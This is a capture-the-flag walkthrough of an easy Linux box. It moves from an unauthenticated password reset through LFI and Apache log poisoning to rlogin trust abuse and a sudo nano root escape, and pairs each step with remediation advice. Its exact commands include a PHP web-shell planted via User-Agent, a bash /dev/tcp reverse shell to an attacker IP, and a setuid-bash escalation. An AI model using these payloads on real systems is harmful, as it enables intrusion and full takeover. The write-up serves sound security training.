← all walkthroughs

Reset

Linux· Easy· Web
owned
2026-07-07
time to own
29m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned $TARGET and found an Apache web application sitting alongside 40-year-old Berkeley r-services (rexec, rlogin, rsh) that are virtually never seen on modern production hosts. A password-reset endpoint on the web app accepted a bare username with no authentication check and returned a freshly generated admin password directly in the HTTP response. With admin credentials in hand, I discovered that the admin dashboard's log-viewer feature passed a 'file=' parameter straight to PHP's include() with no path restriction, reading any file on disk.

Apache's own access log was readable through this path, so I embedded a PHP web-shell into the log by placing it in a crafted HTTP User-Agent header, then triggered execution by fetching the log through the same file-include — gaining a shell as the web server user www-data. Post-foothold enumeration of /etc/hosts.equiv revealed that the Berkeley r-services daemon would accept any inbound connection presenting the username 'sadm' from any machine on the internet — no password required. I created a matching local user named 'sadm' on their own machine and opened a passwordless interactive rlogin session on the target as sadm, capturing the user flag.

A sudo rule inside that session permitted running nano as root; nano's built-in shell-escape executed arbitrary commands as root, completing full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconnaissanceNetwork port scanning and service fingerprinting (MITRE ATT&CK T1046)
Scanned the host and discovered a web app alongside exposed legacy r-services
An nmap service scan of $TARGET returned five open ports: 22 (SSH/OpenSSH 8.9p1), 80 (Apache 2.4.52 on Ubuntu), 512 (netkit-rexecd), 513 (rlogin daemon), and 514 (netkit-rshd). The presence of the entire Berkeley r-service stack on a modern Ubuntu 22.04 host — protocols retired in the 1990s precisely because they trust client-reported identities rather than using cryptographic authentication — immediately flagged a likely trust-relationship attack path. A browser visit to port 80 surfaced an admin login panel with a visible 'Reset Password' link.
Nmap: 22/tcp ssh OpenSSH 8.9p1, 80/tcp http Apache/2.4.52, 512/tcp netkit-rexecd, 513/tcp rlogin, 514/tcp netkit-rshd — all confirmed open.
Exact commands 2
Version and default-script scan against the five open ports.
nmap -sV -sC -p 22,80,512,513,514 $TARGET -oN conquest-nmap.txt
Confirm the web app landing page; identify the admin login form and Reset Password link.
curl -sS http://$TARGET/
2Credential AccessBroken authentication — unauthenticated password reset (CWE-640)
Reset the admin account password without any authentication
The web application exposed a reset_password.php endpoint that accepted a single POST field — 'username' — with no existing session, no email token, no CAPTCHA, and no rate-limiting. Posting 'username=admin' caused the server to overwrite the admin account's password with a freshly generated value and return that value in plain text in the JSON response body. I now held valid admin credentials with zero prior knowledge of the account.
POST /reset_password.php with username=admin returned the new admin password in the JSON response; immediate admin panel login confirmed.
Exact commands 1
Returns a JSON object containing the new admin password; save that value as <new_admin_password>.
curl -sS -c /tmp/cq-cookies.txt -X POST http://$TARGET/reset_password.php --data 'username=admin'
FixRequire a verified email token before allowing any password resetCritical
WeaknessThe password-reset endpoint accepted a bare username with no proof of identity — no existing session, no one-time token, no email verification, no rate limit — and returned the new credential in plain text in the HTTP response, allowing any anonymous caller to take over any account with a single request.
FixRedesign the reset flow to follow three mandatory steps: (1) accept only the account's registered email address, never a username; (2) send a time-limited (15–30 minutes), single-use cryptographic token to that address; (3) require the user to present that token before any password change is applied. Never return the new password in the API response — redirect to the login page instead. Apply rate-limiting (no more than five reset attempts per hour per IP and per account) and log all reset events for audit review.
3EnumerationLocal File Inclusion — unrestricted path traversal (CWE-22, MITRE ATT&CK T1083)
Authenticated to the admin panel and confirmed an arbitrary file-read in the log viewer
Using the recovered admin password, I logged into the admin dashboard. The 'Log Contents' feature accepted a POST parameter named 'file' and passed it directly to a PHP include call with no path filtering or allowlist. Supplying file=/etc/passwd returned the full contents, confirming arbitrary file read across the entire filesystem. The user list revealed a local account named 'sadm' (uid 1001) with a home directory and an interactive bash shell. Fetching /var/log/apache2/access.log confirmed that Apache log files were readable through the same path, setting up the next stage.
POST /dashboard.php file=/etc/passwd returned full file contents; sadm:x:1001:1001:,,,:/home/sadm:/bin/bash visible. /var/log/apache2/access.log also readable.
Exact commands 3
Authenticate to the admin panel; replace <new_admin_password> with the value from step 2.
curl -sS -b /tmp/cq-cookies.txt -c /tmp/cq-cookies.txt -X POST http://$TARGET/ --data 'username=admin&password=<new_admin_password>'
Confirm LFI and enumerate local system users.
curl -sS -b /tmp/cq-cookies.txt -X POST http://$TARGET/dashboard.php --data-urlencode 'file=/etc/passwd'
Confirm the Apache access log is readable through the LFI — required for log-poisoning RCE.
curl -sS -b /tmp/cq-cookies.txt -X POST http://$TARGET/dashboard.php --data-urlencode 'file=/var/log/apache2/access.log'
FixReplace the free-form file parameter in the log viewer with a strict allowlistCritical
WeaknessThe 'file=' POST parameter in dashboard.php was passed directly to PHP's include() with no path restriction, allowing any file readable by the web server to be fetched and executed as PHP — including Apache's own access log, which an unauthorised user can pre-populate with a PHP payload by controlling HTTP request headers.
FixReplace the free-form parameter with a server-side allowlist of safe log file names (e.g. ['access.log', 'error.log']). Resolve the selected name to an absolute path inside a fixed, purpose-built log directory and reject anything not on the list before calling any file-read function. Never pass user-supplied input to include(), require(), file_get_contents(), or similar functions without strict allowlist validation. In addition, add a PHP-execution-disabling directive ('php_flag engine off' in an .htaccess or server config block) for /var/log/apache2/ so that log-poisoning cannot produce RCE even if a separate LFI vulnerability is discovered elsewhere.
4ExploitationApache log-poisoning RCE via LFI (MITRE ATT&CK T1505.003)
Poisoned the Apache access log with a PHP payload and achieved remote code execution as www-data
Apache logs each request's User-Agent header verbatim. Because the dashboard's LFI used PHP's include() to render the fetched file, any PHP code embedded in the access log would be interpreted when the log was fetched. My sent an HTTP request with a PHP short-tag web-shell (<?=$_GET[0]?>) as the User-Agent, writing it into access.log. Fetching the log through the LFI while passing a command in the URL query string (?0=id) executed that command as the web-server process (www-data, uid 33). A reverse-shell payload delivered via the same technique produced a full interactive shell back to my listener.
Command output 'uid=33(www-data) gid=33(www-data) groups=33(www-data),4(adm)' reflected through the log viewer; reverse shell connected to my at $ATTACKER_IP:4444.
Exact commands 4
Seed the PHP short-tag payload into Apache's access log via the User-Agent header.
curl -sS -A '<?=$_GET[0]?>' http://$TARGET/lp-seed-1
Trigger the seeded payload via LFI; ?0=id is passed to $_GET[0] and executed. Confirm uid=33(www-data) in the output.
curl -sS -b /tmp/cq-cookies.txt -X POST "http://$TARGET/dashboard.php?0=id" --data-urlencode 'file=/var/log/apache2/access.log'
Start a reverse-shell listener on my machine (run in a separate terminal before the next command).
nc -lvnp 4444
Re-seed the log with the reverse-shell payload and trigger it. Replace $ATTACKER_IP with your my VPN IP. Catch the shell in the nc listener.
curl -sS -A '<?=$_GET[0]?>' http://$TARGET/lp-seed-2 && curl -sS -b /tmp/cq-cookies.txt -X POST "http://$TARGET/dashboard.php?0=bash+-c+%27bash+-i+>%26+/dev/tcp/$ATTACKER_IP/4444+0>%261%27" --data-urlencode 'file=/var/log/apache2/access.log'
5Post-Exploitation DiscoveryPost-exploitation credential/trust discovery — hosts.equiv enumeration (MITRE ATT&CK T1087.001)
Discovered a wildcard r-services trust entry granting passwordless login as 'sadm' from anywhere
From the www-data reverse shell, my read /etc/hosts.equiv and found the line '+ sadm'. In the Berkeley r-services trust model, a '+' in the hosts column means 'any host', so this single line directs the rlogin and rsh daemons to grant access to any inbound connection that presents the username 'sadm' — regardless of the client's IP address and without ever asking for a password. /etc/passwd confirmed that sadm was a real local account with /home/sadm as its home directory and /bin/bash as its shell.
/etc/hosts.equiv: '+ sadm'; /etc/passwd: sadm:x:1001:1001:,,,:/home/sadm:/bin/bash — both confirmed from the www-data shell.
Exact commands 2
Run from the www-data shell; the '+ sadm' line confirms global passwordless rlogin/rsh trust for the sadm username.
cat /etc/hosts.equiv
Confirm sadm is a real interactive account with /bin/bash.
grep sadm /etc/passwd
6Lateral MovementExploitation of hosts.equiv r-services trust for unauthenticated remote login (MITRE ATT&CK T1021)
Used the r-services trust to log in as 'sadm' without a password and captured the user flag
The rlogin daemon authenticates by trusting the source username the connecting client declares rather than verifying a password. Because /etc/hosts.equiv unconditionally trusted 'sadm' from any host, my only needed to connect to port 513 while presenting that username. I created a local system user also named 'sadm' on their attack machine — the mechanism the rlogin client uses to declare the source identity — then ran rlogin targeting the target. The daemon granted an immediate interactive shell as the sadm account on the target, no credential exchange required. The user flag was read directly from /home/sadm/user.txt.
Sudo -u sadm rlogin -l sadm $TARGET produced an interactive shell as sadm with no password prompt; /home/sadm/user.txt returned the user flag.
Exact commands 4
Install rlogin/rsh client tools if not already present on the attack machine.
sudo apt-get install -y rsh-client
Create a local 'sadm' account so the rlogin client presents the trusted source username to the target daemon.
sudo useradd -m sadm
Connect to rlogin (port 513); the hosts.equiv entry grants an immediate interactive shell as sadm — no password required.
sudo -u sadm rlogin -l sadm $TARGET
Read the user flag from sadm's home directory — returns <user.txt>.
cat /home/sadm/user.txt
FixDisable all Berkeley r-services and delete the hosts.equiv trust fileCritical
Weakness/etc/hosts.equiv contained '+ sadm', which directed the rlogin and rsh daemons to grant passwordless access to any machine in the world that presented the username 'sadm'. The underlying r-service protocols (rexec on 512, rlogin on 513, rsh on 514) authenticate by trusting the client's self-reported source address and username, with no encryption and no cryptographic proof of identity — a design recognized as fundamentally insecure since the mid-1990s.
FixStop and permanently disable the r-service daemons: 'sudo systemctl disable --now rsh.socket rlogin.socket rexec.socket', then remove their packages ('sudo apt remove --purge rsh-server'). Delete /etc/hosts.equiv and audit every user home directory for .rhosts files ('find /home /root -name .rhosts -delete'). Block inbound traffic to ports 512–514 at both the host firewall ('sudo ufw deny 512/tcp; sudo ufw deny 513/tcp; sudo ufw deny 514/tcp') and the network perimeter. Replace any legitimate remote shell requirement with SSH using key-based authentication and disable password authentication in sshd_config.
7Privilege Escalationsudo GTFOBins shell escape via text editor (MITRE ATT&CK T1548.003)
Escaped the sudo nano shell-escape to a root shell and captured the root flag
Running 'sudo -l' in the sadm rlogin session — supplying sadm's recovered password '[REDACTED: recovered credential]' — revealed that sadm was permitted to run /usr/bin/nano as root. The nano editor includes a built-in 'Execute Command' feature (Ctrl+R then Ctrl+X) intended to insert command output into a document; because nano was running as root under sudo, that feature executed my own command as root as well. I used this to copy /bin/bash to /tmp/rootbash with the setuid bit set, then invoked /tmp/rootbash -p to spawn a root shell. The root flag was read from /root/root_279e22f8.txt, and the setuid binary was immediately removed to restore the system state.
Sudo -l confirmed '(root) /usr/bin/nano'; nano Execute Command produced uid=0 root shell; /root/root_279e22f8.txt yielded the root flag.
Exact commands 5
Run in the sadm rlogin session; enter sadm's password '[REDACTED: recovered credential]' when prompted. Confirms nano sudo entitlement.
sudo -l
Open nano as root. Once inside, press Ctrl+R then Ctrl+X to reach nano's Execute Command prompt.
sudo /usr/bin/nano /etc/firewall.sh
Type this at nano's Execute Command prompt after Ctrl+R → Ctrl+X; runs as root and creates a SUID-root bash copy at /tmp/rootbash. Press Enter to execute.
reset; cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash
Execute the SUID bash with -p to preserve root UID; reads the root flag — returns <root.txt>.
/tmp/rootbash -p -c 'cat /root/root_279e22f8.txt'
Clean up the SUID binary after flag capture to restore the original system state.
/tmp/rootbash -p -c 'rm -f /tmp/rootbash'
FixRemove the sudo entitlement for nano and audit all sudo rules for GTFOBins-listed binariesHigh
WeaknessThe 'sadm' account was permitted to run /usr/bin/nano as root via sudo. Interactive text editors, file pagers, and many standard Unix utilities include shell-escape or command-execution features; when any such binary runs under sudo as root, those features execute as root — making the sudo rule functionally equivalent to granting an unrestricted root shell.
FixRemove the nano sudo rule from /etc/sudoers or the relevant file under /etc/sudoers.d/ (use 'sudo visudo' to edit safely). Audit every sudo entitlement on every host using 'sudo -l' for each service account and cross-reference every allowed binary against the GTFOBins catalogue. Replace broad editor or utility grants with narrow, purpose-built wrapper scripts that perform only the specific privileged action required — for example, a script that appends one firewall rule to a specific file rather than opening it in an interactive editor. Apply the principle of least privilege: no service account should hold any sudo entitlement that is not strictly necessary for its defined function.

Attack patterns used

The transferable techniques behind this compromise.

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp
512/tcp
513/tcp
514/tcp